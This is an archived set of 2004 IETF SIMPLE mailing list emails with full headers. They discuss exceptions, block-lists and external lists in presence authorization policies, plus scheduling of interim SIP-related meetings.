Date: Tue, 23 Mar 2004 09:13:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I think it would be helpful to discuss these issues separately; they 
have little to do with each other.

Markus.Isomaki@nokia.com wrote:


> * Exceptions: Currently they are allowed only within domains. This
> was done on purpose for reasons that I don't really believe in. The
> end result is that it is impossible to do proper block-listing. It
> was claimed that block-listing is a bad concept anyway, as identities
> can be created easily to by-pass such lists. While in general this is
> the case, I don't think it should limit _all_ systems, some of which
> can deal with identities better than the Internet at large. Below is
> an example, beyond block-listing, how leaving out exceptions makes
> things difficult [Presentity wants to give group "friends" a
> privileged access to his presence information. By default he gives
> out some information, but "friends" should receive a different view
> of the _same_ information. (Note that this is not additive, but we
> talk about different views, for instance showing a _different_
> "note".) If exceptions are not allowed, "friends" will get the common
> information in addition to what should be given to them, making
> things confusing at the watcher side. (For instance a watcher get 2
> tuples with the same Contact, having different notes.)] So I believe
> the main problem is that presence information is not always additive,
> but it can also be contradictive! Another huge problem is that there
> already exists many presence systems which have block-lists, and in
> some cases we would like to preserve the UI semantics even when the
> protocol stack is changed to SIP. Now it seems impossible. ->
> Proposal: Allow exceptions in SIMPLE, even though they are not there
> in the common policies.


I don't understand this comment. Black lists can easily be implemented 
by splitting them across domains. This is just a syntactic transformation.

The note issue ('different information') is a more interesting one. We 
had earlier decided not to support lying, so this seems to refer only to 
free-form fields like 'note'. The problem you note can be solved within 
the framework by an ordering mechanism that associates a value with a 
parameter. That way, the highest ("best") value would be picked, but 
only one, instead of all. I think the easiest would be to associate an 
ordering with 'class' and just have the publisher upload different 
tuples. I don't think it makes sense to use the policies to set actual 
presence values.

Exceptions greatly complicate the processing and, in conjunction with 
external lists, are privacy-unsafe. Thus, I'm opposed to including such 
mechanisms. Since people mean many different things when they talk about 
exceptions, it would be helpful if you could actually state an exception 
rule that you envision.

Henning



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 09:22:06 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28573
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 09:22:06 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mmf-00020L-Ij
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 09:21:38 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NELaVx007683
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 09:21:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mmc-0001zh-OP
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 09:21:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28539
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 09:21:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mma-0000SY-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 09:21:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mlb-0000IJ-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 09:20:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mkO-00001F-00; Tue, 23 Mar 2004 09:19:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mk9-0001aw-8w; Tue, 23 Mar 2004 09:19:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mjF-0001XC-I4
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 09:18:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27749
	for <simple@ietf.org>; Tue, 23 Mar 2004 09:18:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mjD-0007Rd-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:18:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mgX-0006sC-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:15:18 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mfW-0006lg-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:14:14 -0500
Received: from bear.cs.columbia.edu (IDENT:Z9oWLZHx8FHob9lsPTVL8RxVV/HZ1R9s@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2NEDqRI013850
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 09:13:52 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2NEDpXe009866
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 09:13:51 -0500
Message-ID: <4060461D.6030201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 09:13:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I think it would be helpful to discuss these issues separately; they 
have little to do with each other.

Markus.Isomaki@nokia.com wrote:


> * Exceptions: Currently they are allowed only within domains. This
> was done on purpose for reasons that I don't really believe in. The
> end result is that it is impossible to do proper block-listing. It
> was claimed that block-listing is a bad concept anyway, as identities
> can be created easily to by-pass such lists. While in general this is
> the case, I don't think it should limit _all_ systems, some of which
> can deal with identities better than the Internet at large. Below is
> an example, beyond block-listing, how leaving out exceptions makes
> things difficult [Presentity wants to give group "friends" a
> privileged access to his presence information. By default he gives
> out some information, but "friends" should receive a different view
> of the _same_ information. (Note that this is not additive, but we
> talk about different views, for instance showing a _different_
> "note".) If exceptions are not allowed, "friends" will get the common
> information in addition to what should be given to them, making
> things confusing at the watcher side. (For instance a watcher get 2
> tuples with the same Contact, having different notes.)] So I believe
> the main problem is that presence information is not always additive,
> but it can also be contradictive! Another huge problem is that there
> already exists many presence systems which have block-lists, and in
> some cases we would like to preserve the UI semantics even when the
> protocol stack is changed to SIP. Now it seems impossible. ->
> Proposal: Allow exceptions in SIMPLE, even though they are not there
> in the common policies.


I don't understand this comment. Black lists can easily be implemented 
by splitting them across domains. This is just a syntactic transformation.

The note issue ('different information') is a more interesting one. We 
had earlier decided not to support lying, so this seems to refer only to 
free-form fields like 'note'. The problem you note can be solved within 
the framework by an ordering mechanism that associates a value with a 
parameter. That way, the highest ("best") value would be picked, but 
only one, instead of all. I think the easiest would be to associate an 
ordering with 'class' and just have the publisher upload different 
tuples. I don't think it makes sense to use the policies to set actual 
presence values.

Exceptions greatly complicate the processing and, in conjunction with 
external lists, are privacy-unsafe. Thus, I'm opposed to including such 
mechanisms. Since people mean many different things when they talk about 
exceptions, it would be helpful if you could actually state an exception 
rule that you envision.

Henning



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 09:26:23 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28766
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 09:26:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mrI-00016O-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 09:26:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mqR-0000zb-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 09:25:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mq3-0000sP-00; Tue, 23 Mar 2004 09:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mpz-0002BL-6B; Tue, 23 Mar 2004 09:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mme-000202-1a
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 09:21:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28553
	for <simple@ietf.org>; Tue, 23 Mar 2004 09:21:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mmc-0000Sl-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:21:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mlh-0000JA-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:20:38 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mkk-00006N-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:19:38 -0500
Received: from bear.cs.columbia.edu (IDENT:KdHwxFyPzYrNvCePRiEmV3OGMHXh/FB/@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2NEJYRI014458
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 09:19:34 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2NEJXXe010296
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 09:19:33 -0500
Message-ID: <40604770.6030702@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 09:19:28 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

> * External lists: Again, external list references were dropped due to
> GEOPRIV harmonization. I don't understand why they need to be
> disallowed in all environments. If the service provider has a
> centralized XCAP server for resource lists, those should be usable by
> reference in presence auth. rules. (FYI, OMA is working on common
> "group management" for different applications, and for this external
> references are also clearly needed.) -> Proposal: Add external lists,
> include considerations on where they are usable.

External lists are a separable issue. I would suggest that if this is to 
be supported, it should be a separate 'layer'. That layer would simply 
consist of a list of URI or local references identifying rule sets 
elsewhere. That nicely separates rules from references to rules. I see 
no advantage in commingling them.

The difficulty with separate lists is to define the appropriate caching 
and failure behavior (how long should the rule maker try to get the 
external rules? is normal HTTP caching used?)

As noted earlier, external lists are manageable from a privacy 
perspective if they are additive. They break badly if you allow 
exceptions that remove privileges.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 09:26:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28792
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 09:26:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mrL-0002Mo-MO
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 09:26:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NEQRfu009092
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 09:26:27 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mrL-0002MZ-Co
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 09:26:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28780
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 09:26:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mrJ-00016X-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 09:26:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mqR-0000zi-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 09:25:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mq3-0000sP-00; Tue, 23 Mar 2004 09:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mpz-0002BL-6B; Tue, 23 Mar 2004 09:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mme-000202-1a
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 09:21:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28553
	for <simple@ietf.org>; Tue, 23 Mar 2004 09:21:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mmc-0000Sl-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:21:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mlh-0000JA-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:20:38 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mkk-00006N-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:19:38 -0500
Received: from bear.cs.columbia.edu (IDENT:KdHwxFyPzYrNvCePRiEmV3OGMHXh/FB/@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2NEJYRI014458
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 09:19:34 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2NEJXXe010296
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 09:19:33 -0500
Message-ID: <40604770.6030702@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 09:19:28 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

> * External lists: Again, external list references were dropped due to
> GEOPRIV harmonization. I don't understand why they need to be
> disallowed in all environments. If the service provider has a
> centralized XCAP server for resource lists, those should be usable by
> reference in presence auth. rules. (FYI, OMA is working on common
> "group management" for different applications, and for this external
> references are also clearly needed.) -> Proposal: Add external lists,
> include considerations on where they are usable.

External lists are a separable issue. I would suggest that if this is to 
be supported, it should be a separate 'layer'. That layer would simply 
consist of a list of URI or local references identifying rule sets 
elsewhere. That nicely separates rules from references to rules. I see 
no advantage in commingling them.

The difficulty with separate lists is to define the appropriate caching 
and failure behavior (how long should the rule maker try to get the 
external rules? is normal HTTP caching used?)

As noted earlier, external lists are manageable from a privacy 
perspective if they are additive. They break badly if you allow 
exceptions that remove privileges.

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 13:32:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16789
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 13:32:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qhk-00009g-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 13:32:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5qgr-00003i-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 13:31:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qgC-0007kW-00; Tue, 23 Mar 2004 13:31:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qg2-0003GJ-RI; Tue, 23 Mar 2004 13:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Xi3-0006af-2h
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 17:15:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28384
	for <simple@ietf.org>; Mon, 22 Mar 2004 17:15:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Xi0-0006ik-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:15:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Xh5-0006cu-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:14:52 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Xgm-0006X7-00; Mon, 22 Mar 2004 17:14:32 -0500
Received: from softarmor.com (www.softarmor.com [127.0.0.1])
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2MMGopF027788;
	Mon, 22 Mar 2004 16:16:50 -0600
Message-ID: <405F65D1.8010605@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: xcon@ietf.org
CC: sipping@ietf.org;, Glenn Parsons <gparsons@nortelnetworks.com>,
        sip@ietf.org, simple@ietf.org
References: <405E7C1D.1080301@softarmor.com>
In-Reply-To: <405E7C1D.1080301@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Oops, XCON Too!  -- Was: Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 16:16:49 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


Your sentience challenged scribe (that's me) forot to include XCON in 
the original list. It's not because I think they're not important. It's 
because I forgot.

This MIGHT have something to do with having spent the weekend scraping 
old vinyl flooring loose from the concrete slab of my house, as my water 
heater ruptured while we were in Korea and much sogginess ensued.

Or I might not have an excuse.

Anyhow, topics addressed in the interim meeting will include SIP, 
SIPPING, SIMPLE, and XCON (where I REALLY want progress on floor 
control, especially after last weekend's labors!). And maybe LEMONADE, 
although the current drift in responses is that there is little need for 
  co-location here.

Follow-ups to SIPPING, please.

--
Dean

Dean Willis wrote:

> Please reply to the SIPPING list -- other lists copied to make sure we 
> hit everybody.
> 
> We probably need to have at least three days of interim meetings between 
> now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.
> 
> We've had a number of venue suggestions in the USA, and it has been 
> suggested that a Tuesday-Thursday schedule would provide the best 
> opportunities for travelers from more distant points.
> 
> There has also been some discussion of co-locating with the Lemonade 
> working group, if the venue allows. We're not sure whether this would 
> mean adding another day fore-or-aft, or simply running another room in 
> parallel.
> 
> For the record, historically we've had anywhere from 30 to 60 attendees 
> at interim meetings.
> 
> As I understand it, the leading candidate for venue is the Boulderama in 
> Boulder, Colorado. Rohan's current proposal is to ask each attendee to 
> contribute $50 toward meeting fees (princiaplly, renting the room). Of 
> course, if somebody wants to sponsor the meeting and pick up the
> 
> These dates have been proposed:
> 
> May 4-6 (May conflict with T1-S1)
> May 25-27 (conflicts with OMA POC interim)
> June 1-3 (no conflicts I know of)
> 
> For planning purposes, it would help to know:
> 
> 1) Who and how many would be able and willing to attend May 4-6?
> 2) Who and how many would be able and willing to to attend May 25-27?
> 3) Who and how many would be able and willing to to attend June 1-3?
> 4) Who would be conflicted if LEMONADE and SIP-related sessions occurred 
> simultaneously?
> 5) Who just doesn't want to go  the the US because of travel 
> restrictions and annoying border delays?
> 6) Anyody willing to sponsor or cosponsor the meeting?
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Tue Mar 23 13:32:49 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16810
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 13:32:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qhl-0000A0-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 13:32:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5qgt-000042-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 13:31:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5qgC-0007kX-00; Tue, 23 Mar 2004 13:31:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5qg3-0003GT-AB; Tue, 23 Mar 2004 13:31:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5h3z-0001pF-Hw
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 03:15:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10783
	for <simple@ietf.org>; Tue, 23 Mar 2004 03:15:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5h3x-0001Fg-00
	for simple@ietf.org; Tue, 23 Mar 2004 03:15:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5h31-00019m-00
	for simple@ietf.org; Tue, 23 Mar 2004 03:14:08 -0500
Received: from ns.ivd.nl ([193.67.37.226])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5h2I-000140-00; Tue, 23 Mar 2004 03:13:22 -0500
Received: (from root@localhost) by ns.ivd.nl (8.9.3c/8.6.12) id JAA57693; Tue, 23 Mar 2004 09:17:48 +0100 (CET)
Received: by ns.ivd.nl (TUNIX txp2/smap)
	id sma057448; Tue, 23 Mar 04 09:16:59 +0100
Received: from IVD-Message_Server by mailserver.viataal.nl
	with Novell_GroupWise; Tue, 23 Mar 2004 09:12:43 +0100
Message-Id: <s05fff8b.050@mailserver.viataal.nl>
X-Mailer: Novell GroupWise 5.5.5
From: "A vWijk" <A.vWijk@viataal.nl>
To: <pkyzivat@cisco.com>, <simple@ietf.org>, <xcon@ietf.org>,
        <Brian.Rosen@marconi.com>, <alan.johnston@mci.com>,
        <aki.niemi@nokia.com>, <gunnar.hellstrom@omnitor.se>
Subject: Betr.: [XCON] RE: [Simple] RE: Chat sessions
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
